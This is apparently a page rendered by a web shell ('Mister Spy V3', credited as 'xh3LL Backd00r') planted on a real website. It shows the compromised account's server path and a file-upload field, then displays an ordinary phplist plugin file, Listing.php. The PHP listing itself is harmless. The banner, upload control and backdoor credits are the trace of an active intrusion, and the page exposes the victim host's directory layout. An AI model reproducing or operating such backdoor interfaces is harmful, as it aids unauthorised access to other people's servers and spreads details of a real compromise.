Mister Spy Say ="Hello Kids ... :D" ___ ____ _ _____ | \/ (_) | | / ___| | . . |_ ___| |_ ___ _ __ \ `--. _ __ _ _ | |\/| | / __| __/ _ \ '__| `--. \ '_ \| | | | | | | | \__ \ || __/ | /\__/ / |_) | |_| | \_| |_/_|___/\__\___|_| \____/| .__/ \__, | | | __/ | |_| |___/ Bot Mister Spy V3
Mister Spy

Mister Spy

Current Path : /home/caballoscriollos/public_html/phplist/lists/admin/plugins/CommonPlugin/
Upload File :
Current File : /home/caballoscriollos/public_html/phplist/lists/admin/plugins/CommonPlugin/Listing.php

<?php
/**
 * CommonPlugin for phplist
 * 
 * This file is a part of CommonPlugin.
 *
 * @category  phplist
 * @package   CommonPlugin
 * @author    Duncan Cameron
 * @copyright 2011-2012 Duncan Cameron
 * @license   http://www.gnu.org/licenses/gpl.html GNU General Public License, Version 3
 */

/**
 * This class combines the Pager and WebblerListing objects
 * 
 */
class CommonPlugin_Listing 
{
    private $controller;
    private $populator;

    public $noResultsMessage = 'no_results';
    public $pager;
    public $sort = false;

    public function __construct(CommonPlugin_Controller $controller, CommonPlugin_IPopulator $populator)
    {
        $this->controller = $controller;
        $this->populator = $populator;
        $this->pager = new CommonPlugin_Pager($controller);
    }

    public function display()
    {
        $total = $this->populator->total();
        list($start, $limit) = $this->pager->range($total);

        $w = new CommonPlugin_WebblerListing();
        $w->usePanel($this->pager->display());

        if ($this->sort) {
            $w->addSort();
        }

        if ($total == 0) {
            $w->addElement($this->controller->i18n->get($this->noResultsMessage));
        }
        $this->populator->populate($w, $start, $limit);
        return $w->display();
    }
}

Mr. DellatioNx196 GaLers xh3LL Backd00r 1.0, Coded By Mr. DellatioNx196 - Bogor BlackHat